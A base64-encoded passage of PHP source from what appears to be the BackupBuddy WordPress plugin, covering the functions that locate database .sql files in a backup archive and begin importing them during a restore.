JyApOwoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgc3RhcnQoKS4KCgoKCS8qIGV4dHJhY3REYXRhYmFzZSgpCgkgKgoJICogUk9MTEJBQ0ssIFJFU1RPUkUKCSAqIEV4dHJhY3RzIGRhdGFiYXNlIGZpbGUocykgaW50byB0ZW1wIGRpci4KCSAqCgkgKiBAcGFyYW0JYm9vbAkJdHJ1ZSBvbiBzdWNjZXNzLCBlbHNlIGZhbHNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdERhdGFiYXNlKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJZGllKCAnIEVSUk9SICMzNDg0Mzc4NDM3ODQ6IERFUFJFQ0FURUQgRlVOQ1RJT04gQ0FMTCEgJyApOwoKCQkkdGhpcy0+X3ByaW9yUm9sbGJhY2tDbGVhbnVwKCk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xvYWRpbmcgemlwYnVkZHkuJyApOwoJCXJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi96aXBidWRkeS96aXBidWRkeS5waHAnICk7CgkJJHppcGJ1ZGR5ID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBkaXJuYW1lKCAkdGhpcy0+X3N0YXRlWydhcmNoaXZlJ10gKSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1ppcGJ1ZGR5IGxvYWRlZC4nICk7CgoJCS8vIEZpbmQgU1FMIGZpbGUgbG9jYXRpb24gaW4gYXJjaGl2ZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDYWxjdWxhdGluZyBwb3NzaWJsZSBTUUwgZmlsZSBsb2NhdGlvbnMuJyApOwoJCSRkZXRlY3RlZFNRTExvY2F0aW9uID0gJyc7CgkJJHBvc3NpYmxlU1FMTG9jYXRpb25zID0gYXJyYXkoKTsKCgkJJHBvc3NpYmxlU1FMTG9jYXRpb25zW10gPSB0cmltKCBydHJpbSggc3RyX3JlcGxhY2UoICdiYWNrdXBidWRkeV9kYXQucGhwJywgJycsICR0aGlzLT5fc3RhdGVbJ2RhdExvY2F0aW9uJ10gKSwgJ1xcLycgKSAuICcvZGJfMS5zcWwnLCAnXFwvJyApOyAvLyBTUUwgZmlsZSBtb3N0IGxpa2VseSBpcyBpbiB0aGUgc2FtZSBzcG90IHRoZSBkYXQgZmlsZSB3YXMuCgkJJHBvc3NpYmxlU1FMTG9jYXRpb25zW10gPSAnZGJfMS5zcWwnOyAvLyBEQiBiYWNrdXAuIHYyLngrCgkJJHBvc3NpYmxlU1FMTG9jYXRpb25zW10gPSAnd3AtY29udGVudC91cGxvYWRzL2JhY2t1cGJ1ZGR5X3RlbXAvJyAuICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddIC4gJy9kYl8xLnNxbCc7IC8vIEZ1bGwgYmFja3VwLgoKCQkkcG9zc2libGVTUUxMb2NhdGlvbnNbXSA9ICdkYi5zcWwnOyAvLyBEQiBiYWNrdXAuIHYxLngKCQkkcG9zc2libGVTUUxMb2NhdGlvbnNbXSA9ICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nIC4gJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gLiAnL2RiLnNxbCc7IC8vIEZ1bGwgYmFja3VwIHYxLnguCgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1Bvc3NpYmxlIFNRTCBmaWxlIGxvY2F0aW9uczogYCcgLiBpbXBsb2RlKCAnOycsICRwb3NzaWJsZVNRTExvY2F0aW9ucyApIC4gJ2AuJyApOwoJCSRwb3NzaWJsZVNRTExvY2F0aW9ucyA9IGFycmF5X3VuaXF1ZSggJHBvc3NpYmxlU1FMTG9jYXRpb25zICk7CgkJZm9yZWFjaCAoICRwb3NzaWJsZVNRTExvY2F0aW9ucyBhcyAkcG9zc2libGVTUUxMb2NhdGlvbiApIHsKCQkJaWYgKCB0cnVlID09PSAkemlwYnVkZHktPmZpbGVfZXhpc3RzKCAkdGhpcy0+X3N0YXRlWydhcmNoaXZlJ10sICRwb3NzaWJsZVNRTExvY2F0aW9uLCAkbGVhdmVfb3BlbiA9IHRydWUgKSApIHsKCQkJCSRkZXRlY3RlZFNRTExvY2F0aW9uID0gJHBvc3NpYmxlU1FMTG9jYXRpb247CgkJCQlicmVhazsKCQkJfQoJCX0gLy8gZW5kIGZvcmVhY2guCgoJCWlmICggJycgPT0gJGRldGVjdGVkU1FMTG9jYXRpb24gKSB7CgkJCSR0aGlzLT5fZXJyb3IoICdFcnJvciAjODQ4Mzc4MzogVW5hYmxlIHRvIGZpbmQgU1FMIGZpbGUocykgbG9jYXRpb24uJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDb25maXJtZWQgU1FMIGZpbGUgbG9jYXRpb246IGAnIC4gJGRldGVjdGVkU1FMTG9jYXRpb24gLiAnYC4nICk7CgkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydzcWxGaWxlJ10gPSAkZGV0ZWN0ZWRTUUxMb2NhdGlvbjsKCgkJLy8gR2V0IFNRTCBmaWxlLgoJCSRmaWxlcyA9IGFycmF5KAoJCQkkZGV0ZWN0ZWRTUUxMb2NhdGlvbiA9PiAnZGJfMS5zcWwnLAoJCSk7CgkJcGJfYmFja3VwYnVkZHk6OiRmaWxlc3lzdGVtLT51bmxpbmtfcmVjdXJzaXZlKCAkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddICk7IC8vIFJlbW92ZSBpZiBhbHJlYWR5IGV4aXN0cy4KCQlta2RpciggJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSApOyAvLyBNYWtlIGVtcHR5IGRpcmVjdG9yeS4KCQlyZXF1aXJlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9fcmVzdG9yZUZpbGVzLnBocCcgKTsKCgkJLy8gRXh0cmFjdCBTUUwgZmlsZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFeHRyYWN0aW5nIFNRTCBmaWxlKHMpLicgKTsKCQlpZiAoIGZhbHNlID09PSBiYWNrdXBidWRkeV9yZXN0b3JlX2ZpbGVzOjpyZXN0b3JlKCAkdGhpcy0+X3N0YXRlWydhcmNoaXZlJ10sICRmaWxlcywgJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSwgJHppcGJ1ZGR5ICkgKSB7CgkJCSR0aGlzLT5fZXJyb3IoICdFcnJvciAjODUzODQ6IFVuYWJsZSB0byByZXN0b3JlIG9uZSBvciBtb3JlIGRhdGFiYXNlIGZpbGVzLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgZGF0YWJhc2UgZXh0cmFjdGlvbiBmdW5jdGlvbi4nICk7CgkJcmV0dXJuIHRydWU7Cgl9IC8vIEVuZCBleHRyYWN0RGF0YWJhc2UoKS4KCgoKCXB1YmxpYyBmdW5jdGlvbiBkZXRlcm1pbmVEYXRhYmFzZUZpbGVzKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJLy8gVHJ5IHRvIGZpbmQgU1FMIGZpbGUgc2luY2UgaXQgaGFzIG5vdCBiZWVuIGZvdW5kIHlldC4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZXRlcm1pbmluZyBTUUwgZmlsZSBsb2NhdGlvbi4uLicgKTsKCgkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydzcWxGaWxlc0xvY2F0aW9uJ10gPSAnJzsKCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NxbEZpbGVzJ10gPSBhcnJheSgpOwoKCQkkcG9zc2libGVfc3FsX2ZpbGVfcGF0aHMgPSBhcnJheSggLy8gUG9zc2libGUgbG9jYXRpb25zIG9mIC5TUUwgZmlsZS4gTG9vayBmb3IgU1FMIGZpbGVzIGluIHJvb3QgTEFTVCBpbiBjYXNlIHVzZXIgbGVmdCBmaWxlcyB0aGVyZS4KCQkJJHRoaXMtPl9zdGF0ZVsncmVzdG9yZUZpbGVSb290J10gLiAnd3AtY29udGVudC91cGxvYWRzL3RlbXBfJyAuICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddIC4gJy8nLCAgICAgICAgICAgICAgLy8gRnVsbCBiYWNrdXAgPCB2Mi4wLgoJCQkkdGhpcy0+X3N0YXRlWydyZXN0b3JlRmlsZVJvb3QnXSAuICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nIC4gJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gLiAnLycsICAvLyBGdWxsIGJhY2t1cCA+PSB2Mi4wLgoJCQkkdGhpcy0+X3N0YXRlWyd0ZW1wUGF0aCddLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBEZXRlcm1pbmVkIGZyb20gZGV0ZWN0aW5nIERBVCBmaWxlLiBTaG91bGQgYWx3YXlzIGJlIHRoZSBsb2NhdGlvbiByZWFsbHkuLi4gQXMgb2YgdjQuMS4KCQkJJHRoaXMtPl9zdGF0ZVsncmVzdG9yZUZpbGVSb290J10sICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gRGF0YWJhc2UgYmFja3VwIDwgdjIuMC4KCQkJQUJTUEFUSCAuICd3cC1jb250ZW50L3VwbG9hZHMvYmFja3VwYnVkZHlfdGVtcC8nIC4gJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10gLiAnLycsICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gTWFudWFsbHkgZXh0cmFjdGVkIGJhY2t1cC4KCQkJQUJTUEFUSCwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gTWFudWFsbHkgdW56aXBwZWQgZGIgYmFja3VwIGxvY2F0aW9uLgoJCSk7CgkJJGZvdW5kU1FMID0gZmFsc2U7CgoJCWZvcmVhY2ggKCAkcG9zc2libGVfc3FsX2ZpbGVfcGF0aHMgYXMgJHBvc3NpYmxlX3NxbF9maWxlX3BhdGggKSB7IC8vIENoZWNrIGVhY2ggZmlsZSBsb2NhdGlvbiB0byBzZWUgd2hpY2ggaGl0cy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9va2luZyBmb3IgU1FMIGZpbGVzIGluIGAnIC4gJHBvc3NpYmxlX3NxbF9maWxlX3BhdGggLiAnYC4nICk7CgkJCSRwb3NzaWJsZV9zcWxfZmlsZXMgPSBnbG9iKCAkcG9zc2libGVfc3FsX2ZpbGVfcGF0aCAuICcqLnNxbCcgKTsKCQkJaWYgKCAhIGlzX2FycmF5KCAkcG9zc2libGVfc3FsX2ZpbGVzICkgfHwgKCAwID09IGNvdW50KCAkcG9zc2libGVfc3FsX2ZpbGVzICkgKSApIHsgLy8gTm8gU1FMIGZpbGVzIGhlcmUuCgkJCQljb250aW51ZTsKCQkJfQoKCQkJLy8gRm91bmQgZGlyZWN0b3J5IHdpdGggU1FMIGZpbGVzIGluIGl0LgoJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NxbEZpbGVzTG9jYXRpb24nXSA9ICRwb3NzaWJsZV9zcWxfZmlsZV9wYXRoOwoKCQkJLy8gUmVtb3ZlIHBhdGggaW5mb3JtYXRpb24uCgkJCSRwb3NzaWJsZV9zcWxfZmlsZXMgPSBhcnJheV9tYXAoICdiYXNlbmFtZScsICRwb3NzaWJsZV9zcWxfZmlsZXMgKTsKCgkJCS8vIFRha2UgU1FMIGZpbGVzIG91dCBvZiBsaXN0IHRoYXQgYmVnaW4gd2l0aCB1bmRlcnNjb3JlIChCYWNrdXBCdWRkeSBTdGFzaCBMaXZlIHRpbWVzdGFtcGVkIGZpbGVzKSB0byBwdXQgdGhlbSBhdCBlbmQgb2YgdGhlIGFycmF5IHRvIHBsYXkgYmFjayBhdCB0aGUgZW5kLgoJCQkkbGl2ZV9zcWxfZmlsZXMgPSBhcnJheSgpOwoJCQlmb3JlYWNoICggJHBvc3NpYmxlX3NxbF9maWxlcyBhcyAkaW5kZXggPT4gJHNxbF9maWxlICkgewoJCQkJaWYgKCAnXycgPT0gc3Vic3RyKCAkc3FsX2ZpbGUsIDAsIDEgKSApIHsKCQkJCQkkbGl2ZV9zcWxfZmlsZXNbXSA9ICRzcWxfZmlsZTsgLy8gQ29weSBpbnRvIG5ldyBhcnJheS4KCQkJCQl1bnNldCggJHBvc3NpYmxlX3NxbF9maWxlc1sgJGluZGV4IF0gKTsgLy8gUmVtb3ZlIGZyb20gb3JpZ2luYWwgYXJyYXkuCgkJCQl9CgkJCX0KCgkJCS8vIEZpeCBtaXNzaW5nIGluZGV4ZXMgb2YgcmVtb3ZlZCBpdGVtcy4KCQkJJHBvc3NpYmxlX3NxbF9maWxlcyA9IGFycmF5X2ZpbHRlciggJHBvc3NpYmxlX3NxbF9maWxlcyApOwoKCQkJLy8gQXBwZW5kIExJVkUgU1FMIGZpbGVzIHRvIGVuZCBvZiBub3JtYWwgU1FMIGZpbGVzIGxpc3QuCgkJCSRwb3NzaWJsZV9zcWxfZmlsZXMgPSBhcnJheV9tZXJnZSggJHBvc3NpYmxlX3NxbF9maWxlcywgJGxpdmVfc3FsX2ZpbGVzICk7CgoJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NxbEZpbGVzJ10gPSAkcG9zc2libGVfc3FsX2ZpbGVzOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGb3VuZCAnIC4gY291bnQoICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnc3FsRmlsZXMnXSApIC4gJyBTUUwgZmlsZXMgaW4gYCcgLiAkcG9zc2libGVfc3FsX2ZpbGVfcGF0aCAuICdgLicgKTsKCQkJYnJlYWs7CgoJCX0gLy8gRW5kIGZvcmVhY2goKS4KCQl1bnNldCggJHBvc3NpYmxlX3NxbF9maWxlX3BhdGhzICk7CgoJCWlmICggZmFsc2UgIT09ICR0aGlzLT5fc3RhdGVbJ3Jlc3RvcmVEYXRhYmFzZSddICkgewoJCQlpZiAoIGNvdW50KCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NxbEZpbGVzJ10gKSA9PSAwICkgewoJCQkJaWYgKCAnZGVwbG95JyA9PSAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gKSB7IC8vIENhbiBiZSBub3JtYWwgZm9yIGRlcGxveW1lbnQgc28gbm8gd2FybmluZy4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdVbmFibGUgdG8gZmluZCBkYl8xLnNxbCBvciBvdGhlciBleHBlY3RlZCBkYXRhYmFzZSBmaWxlIGluIHRoZSBleHRyYWN0ZWQgZmlsZXMgaW4gdGhlIGV4cGVjdGVkIGxvY2F0aW9uLiBUaGlzIGlzIG5vcm1hbCBpZiBubyB0YWJsZXMgd2VyZSBzZWxlY3RlZCB0byBiYWNrIHVwLiBNYWtlIHN1cmUgeW91IGRpZCBub3QgcmVuYW1lIHlvdXIgYmFja3VwIFpJUCBmaWxlLiBZb3UgbWF5IG1hbnVhbGx5IHJlc3RvcmUgeW91ciBTUUwgZmlsZSBpZiB5b3UgY2FuIGZpbmQgaXQgdmlhIHBocG15YWRtaW4gb3Igc2ltaWxhciB0b29sIHRoZW4gb24gU3RlcCAxIG9mIEltcG9ydEJ1ZGR5IHNlbGVjdCB0aGUgYWR2YW5jZWQgb3B0aW9uIHRvIHNraXAgZGF0YWJhc2UgaW1wb3J0LiBUaGlzIHdpbGwgYWxsb3cgeW91IHRvIHByb2NlZWQuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICdXYXJuaW5nICMzNDc0ODczNDogVW5hYmxlIHRvIGZpbmQgZGJfMS5zcWwgb3Igb3RoZXIgZXhwZWN0ZWQgZGF0YWJhc2UgZmlsZSBpbiB0aGUgZXh0cmFjdGVkIGZpbGVzIGluIHRoZSBleHBlY3RlZCBsb2NhdGlvbi4gVGhpcyBpcyBub3JtYWwgaWYgbm8gdGFibGVzIHdlcmUgc2VsZWN0ZWQgdG8gYmFjayB1cC4gTWFrZSBzdXJlIHlvdSBkaWQgbm90IHJlbmFtZSB5b3VyIGJhY2t1cCBaSVAgZmlsZS4gWW91IG1heSBtYW51YWxseSByZXN0b3JlIHlvdXIgU1FMIGZpbGUgaWYgeW91IGNhbiBmaW5kIGl0IHZpYSBwaHBteWFkbWluIG9yIHNpbWlsYXIgdG9vbCB0aGVuIG9uIFN0ZXAgMSBvZiBJbXBvcnRCdWRkeSBzZWxlY3QgdGhlIGFkdmFuY2VkIG9wdGlvbiB0byBza2lwIGRhdGFiYXNlIGltcG9ydC4gVGhpcyB3aWxsIGFsbG93IHlvdSB0byBwcm9jZWVkLicgKTsKCQkJCX0KCQkJCXJldHVybiBmYWxzZTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NRTCBmaWxlcyBmb3VuZC4gRmluaXNoZWQgZGV0ZXJtaW5pbmcgZGF0YWJhc2UgZmlsZXMuJyApOwoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9Cgl9IC8vIEVuZCBkZXRlcm1pbmVEYXRhYmFzZUZpbGVzKCkuCgoKCgkvKiByZXN0b3JlRGF0YWJhc2UoKQoJICoKCSAqIFJPTExCQUNLLCBSRVNUT1JFCgkgKiBSZW5hbWVzIGV4aXN0aW5nIHRhYmxlcyB0aGVuIGltcG9ydHMgdGhlIGRhdGFiYXNlIFNRTCBkYXRhIGludG8gbXlzcWwuIFR1cm5zIG9uIG1haW50ZW5hbmNlIG1vZGUgZHVyaW5nIHRoaXMuCgkgKgoJIDggQHBhcmFtCXN0cmluZwkJJG92ZXJyaWRlUHJlZml4CQlJZiBub3QgZW1wdHkgc3RyaW5nIHRoZW4gdXNlIHRoaXMgZGIgcHJlZml4IGluc2VhZCBvZiB0aGUgb25lIHNldCBpbiB0aGUgc3RhdGUgZGF0YS4KCSAqIEByZXR1cm4JYm9vbHxhcnJheQkJCQkJCXRydWUgb24gc3VjY2VzcywgZmFsc2Ugb24gZmFpbHVyZSwgT1IgYXJyYXkgaWYgY2h1bmtpbmcgbmVlZGVkIGZvciBEQiBjb250aW51YXRpb24uIGNodW5rcyBtaWQtZGIgdGFibGUgaW1wb3J0IGFuZC9vciBmb3IgZWFjaCBpbmRpdmlkdWFsIC5zcWwgZmlsZS4gZGVwZW5kcyBvbiBtZXRob2QsIHJ1bnRpbWUgbGVmdCwgZXRjLiBzZWUgbXlzcWxidWRkeSBmb3IgY2h1bmtpbmcgZGV0YWlscy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHJlc3RvcmVEYXRhYmFzZSggJG92ZXJyaWRlUHJlZml4ID0gJycgKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoJCWdsb2JhbCAkd3BkYjsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVzdG9yaW5nIGRhdGFiYXNlIHRhYmxlcy4nICk7CgoJCWlmICggISBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydzcWxGaWxlc0xvY2F0aW9uJ10gKSB8fCAoICcnID09ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnc3FsRmlsZXNMb2NhdGlvbiddICkgKSB7CgkJCSR0aGlzLT5kZXRlcm1pbmVEYXRhYmFzZUZpbGVzKCk7CgkJfQoKCQlpZiAoICdyb2xsYmFjaycgPT0gJHRoaXMtPl9zdGF0ZVsndHlwZSddICkgewoJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NlcnZlciddID0gREJfSE9TVDsKCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydkYXRhYmFzZSddID0gREJfTkFNRTsKCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd1c2VybmFtZSddID0gREJfVVNFUjsKCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwYXNzd29yZCddID0gREJfUEFTU1dPUkQ7CgoJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3ByZWZpeCddID0gJ2JibmV3LScgLiBzdWJzdHIoICR0aGlzLT5fc3RhdGVbJ3NlcmlhbCddLCAwLCA0ICkgLiAnXyc7CgoJCQkkZm9yY2VNeXNxbE1ldGhvZHMgPSBhcnJheSggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkYXRhYmFzZV9tZXRob2Rfc3RyYXRlZ3knXSApOwoJCX0KCgkJLy8gQWxsb3cgb3ZlcnJpZGluZyBwcmVmaXggaW4gcGFyYW1ldGVycy4KCQlpZiAoICcnID09ICRvdmVycmlkZVByZWZpeCApIHsKCQkJJGltcG9ydFByZWZpeCA9ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J107CgkJfSBlbHNlIHsKCQkJJGltcG9ydFByZWZpeCA9ICRvdmVycmlkZVByZWZpeDsKCQl9CgoJCS8vIERldGVybWluZSBkYXRhYmFzZSBzdHJhdGVneS4KCQlpZiAoICdwaHAnID09ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnZGF0YWJhc2VNZXRob2RTdHJhdGVneSddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSBtZXRob2Qgc2V0IHRvIFBIUCBvbmx5LicgKTsKCQkJJGZvcmNlTXlzcWxNZXRob2RzID0gYXJyYXkoICdwaHAnICk7CgkJfSBlbHNlaWYgKCAnY29tbWFuZGxpbmUnID09ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnZGF0YWJhc2VNZXRob2RTdHJhdGVneSddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSBtZXRob2Qgc2V0IHRvIGNvbW1hbmQgbGluZSBvbmx5LicgKTsKCQkJJGZvcmNlTXlzcWxNZXRob2RzID0gYXJyYXkoICdjb21tYW5kbGluZScgKTsKCQl9IGVsc2VpZiAoICdhbGwnID09ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnZGF0YWJhc2VNZXRob2RTdHJhdGVneSddICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSBtZXRob2Qgc2V0IHRvIGFsbCAtLSB1c2luZyBpbiBwcmVmZXJyZWQgb3JkZXI6IHBocCwgY29tbWFuZGxpbmUuJyApOwoJCQkkZm9yY2VNeXNxbE1ldGhvZHMgPSBhcnJheSggJ3BocCcsICdjb21tYW5kbGluZScgKTsKCQl9IGVsc2UgeyAvLyBOb3QgcGFzc2VkIGZvciBzb21lIG9kZCByZWFzb24/IFNldCBkZWZhdWx0LgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICdEYXRhYmFzZSBtZXRob2Qgbm90IHBhc3NlZCB0aG91Z2ggZXhwZWN0ZWQuIFVzaW5nIGRlZmF1bHQgb2YgUEhQIG9ubHkuJyApOwoJCQkkZm9yY2VNeXNxbE1ldGhvZHMgPSBhcnJheSggJ3BocCcgKTsKCQl9CgoJCS8vIEluaXRpYWxpemUgbXlzcWxidWRkeS4KCQlyZXF1aXJlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvbXlzcWxidWRkeS9teXNxbGJ1ZGR5LnBocCcgKTsKCQlwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ215c3FsYnVkZHknXSA9IG5ldyBwYl9iYWNrdXBidWRkeV9teXNxbGJ1ZGR5KCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NlcnZlciddLCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2RhdGFiYXNlJ10sICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsndXNlcm5hbWUnXSwgJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwYXNzd29yZCddLCAkaW1wb3J0UHJlZml4LCAkZm9yY2VNeXNxbE1ldGhvZHMsICR0aGlzLT5fc3RhdGVbJ21heEV4ZWN1dGlvblRpbWUnXSApOyAvLyAkZGF0YWJhc2VfaG9zdCwgJGRhdGFiYXNlX25hbWUsICRkYXRhYmFzZV91c2VyLCAkZGF0YWJhc2VfcGFzcywgJG9sZF9wcmVmaXgsICRmb3JjZV9tZXRob2QgPSBhcnJheSgpCgkJaWYgKCBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2RiX3ZlcnNpb24nXSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ215c3FsYnVkZHknXS0+c2V0X2luY29taW5nX3NxbF92ZXJzaW9uKCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnZGJfdmVyc2lvbiddICk7IC8vIFRlbGwgbXlzcWxidWRkeSB0aGUgdmVyc2lvbiBvZiB0aGUgaW5jb21pbmcgU1FMIGZpbGUncyBteXNxbC4KCQl9CgoJCS8vIFJlc3RvcmUgZWFjaCBTUUwgZmlsZSBhcyBpdHMgb3duIHBhZ2UgbG9hZC4KCQlpZiAoICEgaXNzZXQoICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0UmVzdW1lRmlsZXMnXSApICkgeyAvLyBGaXJzdCBwYXNzIHNvIHBvcHVsYXRlIGxpc3Qgb2YgU1FMIGZpbGVzIG5lZWRpbmcgaW1wb3J0ZWQuCgkJCSR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0UmVzdW1lRmlsZXMnXSA9ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnc3FsRmlsZXMnXTsKCQl9CgkJJGZpbGVzUmVtYWluaW5nID0gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVGaWxlcyddOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NRTCBmaWxlcyB0byBpbXBvcnQ6ICcgLiBjb3VudCggJGZpbGVzUmVtYWluaW5nICkgKTsKCQlmb3JlYWNoICggJGZpbGVzUmVtYWluaW5nIGFzICRzcWxfZmlsZSApIHsKCQkJJGZ1bGxfZmlsZSA9ICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnc3FsRmlsZXNMb2NhdGlvbiddIC4gJHNxbF9maWxlOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdJbXBvcnRpbmcgU1FMIGZpbGUgYCcgLiBiYXNlbmFtZSggJHNxbF9maWxlICkgLiAnYCAoc2l6ZTogJyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoIEBmaWxlc2l6ZSggJGZ1bGxfZmlsZSApICkgLiAnKS4nICk7CgkJCS8vIFRlbGwgbXlzcWxidWRkeSB0byBJTVBPUlQgdGhlIFNRTCBmaWxlLgoJCQkkaW1wb3J0X3Jlc3VsdCA9IHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snbXlzcWxidWRkeSddLT5pbXBvcnQoICRmdWxsX2ZpbGUsICRvbGRQcmVmaXggPSAkdGhpcy0+X3N0YXRlWydkYXQnXVsnZGJfcHJlZml4J10sICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0UmVzdW1lUG9pbnQnXSwgJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpZ25vcmVTcWxFcnJvcnMnXSApOwoKCQkJaWYgKCBmYWxzZSA9PT0gJGltcG9ydF9yZXN1bHQgKSB7CgkJCQkkdGhpcy0+X2Vycm